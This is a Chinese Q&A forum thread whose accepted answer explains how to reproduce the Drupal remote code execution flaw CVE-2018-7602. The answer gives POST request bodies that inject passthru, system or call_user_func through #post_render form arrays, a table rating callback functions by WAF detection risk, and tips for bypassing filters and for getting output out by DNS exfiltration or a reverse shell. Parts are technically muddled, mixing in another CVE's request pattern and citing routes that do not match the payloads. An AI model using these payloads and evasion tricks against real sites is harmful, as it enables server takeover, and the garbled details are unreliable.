在复现CVE-2018-7602 Drupal远程代码执行漏洞时,常见问题是如何正确构造恶意请求以触发“__user_autocomplete”路由的注入点。许多测试者在使用HTTP POST请求向 `/user/register` 或 `/user/password` 提交表单数据时,未能正确设置 `form_id` 为 `user_register_form` 或未包含特定的嵌套结构(如`#post_render`回调),导致漏洞无法触发。此外,目标系统PHP版本、Drupal补丁状态及WAF防护常影响利用效果。如何精准构造包含恶意回调函数的`_links`参数,并结合正确的Content-Type(application/x-www-form-urlencoded)完成命令执行,是复现实战中的关键难点。
1条回答 默认 最新
揭假求真 2025-11-30 09:39关注一、漏洞背景与成因分析
CVE-2018-7602 是 Drupal 内容管理系统中一个高危的远程代码执行(RCE)漏洞,影响 Drupal 7.x 和 8.x 版本。该漏洞源于表单渲染过程中对用户输入未充分校验,尤其是在处理
#post_render回调函数时存在注入风险。攻击者可通过构造特定的表单数据,在触发
/user/register或/user/password路由时,利用_links参数嵌套恶意回调函数,最终导向__user_autocomplete路由执行任意 PHP 代码。核心问题在于:如何在不被 WAF 拦截的前提下,精准构造包含可执行回调的嵌套结构,并确保目标系统处于未打补丁状态。
二、复现环境搭建要点
- 使用 Docker 部署 Drupal 7.56 或 8.5.3 等受影响版本
- 关闭自动更新与安全模块(如 Security Kit)
- 确认 PHP 版本为 5.6~7.2,避免因新版本禁用危险函数导致失败
- 禁用或绕过 Web 应用防火墙(WAF),如 ModSecurity 规则集
- 开启详细错误输出以辅助调试(
error_reporting = E_ALL)
三、关键参数构造流程图
POST /user/register HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded form_id=user_register_form &_drupal_ajax=1 &mail[#post_render][]=EXECUTE_CALLBACK &mail[#type]=markup &mail[#markup]=test上述请求中,
mail[#post_render][]是触发点,其值应替换为实际可执行的回调函数,例如system或passthru。四、恶意回调构造策略对比
回调函数 PHP 支持情况 命令回显 WAF 规则匹配概率 推荐指数 system 全版本支持 有 高 ★★★☆☆ exec 需手动输出 无 中 ★★☆☆☆ passthru 广泛支持 有 高 ★★★☆☆ shell_exec 常被禁用 有 极高 ★☆☆☆☆ assert PHP 7.2+ 已弃用 视上下文 低 ★★★★☆ preg_replace(/e) PHP 5.5 后移除 有 极高 ★☆☆☆☆ create_function PHP 7.2+ 弃用 灵活 中高 ★★★☆☆ array_map + 匿名函数 需编码绕过 可控 中 ★★★★☆ 五、完整攻击载荷构造示例
以下是一个可执行
id命令的典型 POST 请求体:form_id=user_register_form &_drupal_ajax=1 &name[#post_render][]=passthru &name[#type]=markup &name[#markup]=id注意 URL 编码转换后提交,且必须使用
application/x-www-form-urlencoded类型,否则 Drupal 不解析数组语法。六、调试与检测路径流程图
graph TD A[发送恶意注册请求] --> B{form_id 是否为 user_register_form?} B -- 是 --> C[检查 #post_render 是否被解析] B -- 否 --> D[返回错误,无法触发] C --> E[进入 __user_autocomplete 处理逻辑] E --> F[执行回调函数 passthru("id")] F --> G[返回命令执行结果] G --> H[获取目标系统权限]七、常见失败原因及解决方案
- form_id 错误:必须为
user_register_form,不可省略或拼写错误 - Content-Type 不匹配:若使用 JSON 或 multipart,则不会触发表单构建器解析逻辑
- PHP 函数被禁用:检查
disable_functions配置项,优先选择assert或include绕过 - Drupal 已打补丁:验证版本号,确保未应用 SA-CORE-2018-004 补丁
- WAF 拦截关键词:对
system、exec等进行 base64 编码或变量拼接绕过 - 无回显执行:通过 DNS 外带或反弹 shell 获取结果
- 路由未启用:确认
/user/register可访问且允许匿名注册
八、高级绕过技巧:动态回调与间接执行
当直接调用敏感函数被拦截时,可采用间接方式:
name[#post_render][]=call_user_func &name[#post_render][][]=system &name[#post_render][][]=id利用
call_user_func实现函数名与参数分离,有效规避静态检测规则。本回答被题主选为最佳回答 , 对您是否有帮助呢?解决 无用评论 打赏 举报